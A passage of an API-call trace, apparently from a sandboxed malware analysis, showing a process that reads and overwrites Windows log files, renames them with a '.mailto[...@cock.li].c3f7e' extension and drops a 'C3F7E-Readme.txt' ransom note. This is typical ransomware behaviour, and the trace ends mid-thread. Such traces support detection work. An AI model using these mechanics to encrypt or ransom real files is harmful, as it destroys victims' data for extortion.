	[0083.388] wcscpy (in: _Dest=0x4719600, _Source="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}") returned="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}"
	[0083.388] wcscat (in: _Dest=0x4719600, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\") returned="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\"
	[0083.388] wcscat (in: _Dest=0x4719600, _Source="61.0.3163.79" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79") returned="C:\\Program Files (x86)\\Google\\Update2\\Download\\{8A69D345-D564-463C-AFF1-A69D9E530F96}\\61.0.3163.79"
	[0084.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4719600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16f0
	[0084.251] FindNextFileW (in: hFindFile=0x477aa68, lpFindFileData=0x4f25868 | out: lpFindFileData=0x4f25868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79", cAlternateFileName="610316~1.79")) returned 0
	[0084.251] FindClose (in: hFindFile=0x477aa68 | out: hFindFile=0x477aa68) returned 1
	[0084.251] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f25868) returned 1
	[0084.251] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a530) returned 1
	[0084.251] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7df78) returned 1

Thread:
	id = 1115
	os_tid = 0x1ddc

	[0083.389] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481a5e8
	[0083.389] wcscpy (in: _Dest=0x481a5e8, _Source="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}") returned="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}"
	[0083.389] wcscat (in: _Dest=0x481a5e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\") returned="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\"
	[0083.389] wcscat (in: _Dest=0x481a5e8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\*") returned="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\*"
	[0083.389] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f25d38
	[0083.389] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\Install\\{6124B51C-167F-4C55-9898-E7167409448B}\\*", lpFindFileData=0x4f25d38 | out: lpFindFileData=0x4f25d38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aaa8
	[0083.389] wcscmp (_String1=".", _String2=".") returned 0
	[0083.389] FindNextFileW (in: hFindFile=0x477aaa8, lpFindFileData=0x4f25d38 | out: lpFindFileData=0x4f25d38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.389] wcscmp (_String1="..", _String2=".") returned 1
	[0083.389] wcscmp (_String1="..", _String2="..") returned 0
	[0083.389] FindNextFileW (in: hFindFile=0x477aaa8, lpFindFileData=0x4f25d38 | out: lpFindFileData=0x4f25d38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe04b63d9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79_chrome_installer.exe", cAlternateFileName="610316~1.EXE")) returned 1
	[0083.389] wcscmp (_String1="61.0.3163.79_chrome_installer.exe", _String2=".") returned 1
	[0083.389] wcscmp (_String1="61.0.3163.79_chrome_installer.exe", _String2="..") returned 1
	[0083.389] FindNextFileW (in: hFindFile=0x477aaa8, lpFindFileData=0x4f25d38 | out: lpFindFileData=0x4f25d38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe04b63d9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x738f5780, ftLastWriteTime.dwHighDateTime=0x1d32558, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0868, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79_chrome_installer.exe", cAlternateFileName="610316~1.EXE")) returned 0
	[0083.389] FindClose (in: hFindFile=0x477aaa8 | out: hFindFile=0x477aaa8) returned 1
	[0083.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f25d38) returned 1
	[0083.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a5e8) returned 1
	[0083.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d288) returned 1

Thread:
	id = 1116
	os_tid = 0x1de0

	[0083.391] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationux.001.etl")) returned 0x2020
	[0083.392] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl", dwFileAttributes=0x20) returned 1
	[0083.392] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationux.001.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16e8
	[0083.392] GetFileSizeEx (in: hFile=0x16e8, lpFileSize=0x274bfb50 | out: lpFileSize=0x274bfb50*=8192) returned 1
	[0083.392] SetFilePointerEx (in: hFile=0x16e8, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.392] ReadFile (in: hFile=0x16e8, lpBuffer=0x274bfad4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x274bfad0, lpOverlapped=0x0 | out: lpBuffer=0x274bfad4*, lpNumberOfBytesRead=0x274bfad0*=0x4, lpOverlapped=0x0) returned 1
	[0083.394] SetFilePointerEx (in: hFile=0x16e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.394] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.394] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e88
	[0083.394] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.394] NtQuerySystemTime (in: CurrentTime=0x274bfab0 | out: CurrentTime=0x274bfab0*=132251868101244880) returned 0x0
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0xf194a287
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x77aebc25
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x7691faf9
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0xf85e403e
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x7894bd5e
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0xf061c8f2
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x7d263ff
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0xd303a7c4
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x24c6a099
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x4eaee1f0
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0xf1bbd0f7
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x2d86cd5e
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x178a23f7
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x67285925
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0xe5f5e04e
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x72222eb1
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x8e8fd58f
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x8bf4fac1
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x2cb1a5b6
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0xc28febd
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x3bb10115
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0xb4af7f0a
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x663715d6
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x5fa19367
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x5a76a95a
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0xeb05037f
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x5b4c814b
	[0083.394] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x8164b035
	[0083.395] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x7ea4aab9
	[0083.395] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x1912109d
	[0083.395] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0x3befc120
	[0083.395] RtlRandom (in: Seed=0x274bfabc | out: Seed=0x274bfabc) returned 0xa0d1ebe0
	[0083.403] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0083.403] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.403] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.403] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb030
	[0083.403] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.403] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.403] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.403] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4877040
	[0083.403] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4883848
	[0083.403] ReadFile (in: hFile=0x16e8, lpBuffer=0x4877040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x274bfaac, lpOverlapped=0x0 | out: lpBuffer=0x4877040*, lpNumberOfBytesRead=0x274bfaac*=0x2000, lpOverlapped=0x0) returned 1
	[0083.404] SetFilePointerEx (in: hFile=0x16e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.404] WriteFile (in: hFile=0x16e8, lpBuffer=0x4883848*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x274bfaa8, lpOverlapped=0x0 | out: lpBuffer=0x4883848*, lpNumberOfBytesWritten=0x274bfaa8*=0x2000, lpOverlapped=0x0) returned 1
	[0083.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.405] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.405] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4883848) returned 1
	[0083.405] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4877040) returned 1
	[0083.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb030) returned 1
	[0083.406] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x39) returned 0x2dfabf8
	[0083.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.406] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x39) returned 0x2dfab68
	[0083.406] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.406] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.406] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11d) returned 0x2d62e78
	[0083.406] SetFilePointerEx (in: hFile=0x16e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.406] WriteFile (in: hFile=0x16e8, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x274bfb10, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x274bfb10*=0x11d, lpOverlapped=0x0) returned 1
	[0083.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0083.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfab68) returned 1
	[0083.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfabf8) returned 1
	[0083.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481a8c8
	[0083.413] wcscpy (in: _Dest=0x481a8c8, _Source="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl"
	[0083.413] wcscat (in: _Dest=0x481a8c8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.413] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x274bfac8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47192c0
	[0083.413] NtSetInformationFile (FileHandle=0x16e8, IoStatusBlock=0x274bfac0, FileInformation=0x47192c0, Length=0xc6, FileInformationClass=0xa) returned 0x0
	[0083.414] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47192c0) returned 1
	[0083.414] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c8920) returned 1
	[0083.414] NtQueryInformationFile (in: FileHandle=0x16e8, IoStatusBlock=0x274bfad4, FileInformation=0x274bfaac, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x274bfad4, FileInformation=0x274bfaac) returned 0x0
	[0083.414] NtSetInformationFile (FileHandle=0x16e8, IoStatusBlock=0x274bfad4, FileInformation=0x274bfaac, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.415] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a8c8) returned 1
	[0083.415] FlushFileBuffers (hFile=0x16e8) returned 1
	[0083.416] CloseHandle (hObject=0x16e8) returned 1
	[0083.417] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780cc0
	[0083.417] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0083.417] wcscat (in: _Dest=0x4780cc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.417] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0xffffffff
	[0083.417] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16e8
	[0083.418] WriteFile (in: hFile=0x16e8, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x274bfad0, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x274bfad0*=0x6f6, lpOverlapped=0x0) returned 1
	[0083.419] CloseHandle (hObject=0x16e8) returned 1
	[0083.419] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780cc0) returned 1
	[0083.419] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f98) returned 1

Thread:
	id = 1117
	os_tid = 0x1de4

	[0083.405] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationux.002.etl")) returned 0x2020
	[0083.405] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl", dwFileAttributes=0x20) returned 1
	[0083.416] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationux.002.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16ec
	[0083.418] GetFileSizeEx (in: hFile=0x16ec, lpFileSize=0x2753fbc8 | out: lpFileSize=0x2753fbc8*=8192) returned 1
	[0083.418] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.420] ReadFile (in: hFile=0x16ec, lpBuffer=0x2753fb4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2753fb48, lpOverlapped=0x0 | out: lpBuffer=0x2753fb4c*, lpNumberOfBytesRead=0x2753fb48*=0x4, lpOverlapped=0x0) returned 1
	[0083.421] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.421] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.422] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e88
	[0083.422] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.422] NtQuerySystemTime (in: CurrentTime=0x2753fb28 | out: CurrentTime=0x2753fb28*=132251868101557469) returned 0x0
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0x4ae73a7d
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0xe13e0353
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0x52935a96
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0x4dc2ef38
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0x237dfe4d
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0xae8a0c53
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0x4e4e7a2e
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0x374507de
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0x4988c0a9
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0xed3682b0
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0xc7abaeae
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0xd5baec44
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0xe275226e
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0xeef27653
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0x20cc0fa3
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0xcfc99cd0
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0x4fc4397e
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0xfb30fcaa
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0xe4a6fd04
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0x3c05e6d8
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0x5fdaabb0
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0x9d538c73
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0x2f556bb5
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0xbc791f85
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0x99cd5344
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0xa435e3b7
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0x78f18326
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0x3c267a43
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0xddccde4a
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0xe6a772e
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0x77eed842
	[0083.422] RtlRandom (in: Seed=0x2753fb34 | out: Seed=0x2753fb34) returned 0x939c102
	[0083.431] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0083.431] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.431] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb030
	[0083.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.431] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4877040
	[0083.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4883848
	[0083.431] ReadFile (in: hFile=0x16ec, lpBuffer=0x4877040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2753fb24, lpOverlapped=0x0 | out: lpBuffer=0x4877040*, lpNumberOfBytesRead=0x2753fb24*=0x2000, lpOverlapped=0x0) returned 1
	[0083.432] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.432] WriteFile (in: hFile=0x16ec, lpBuffer=0x4883848*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2753fb20, lpOverlapped=0x0 | out: lpBuffer=0x4883848*, lpNumberOfBytesWritten=0x2753fb20*=0x2000, lpOverlapped=0x0) returned 1
	[0083.434] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.434] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
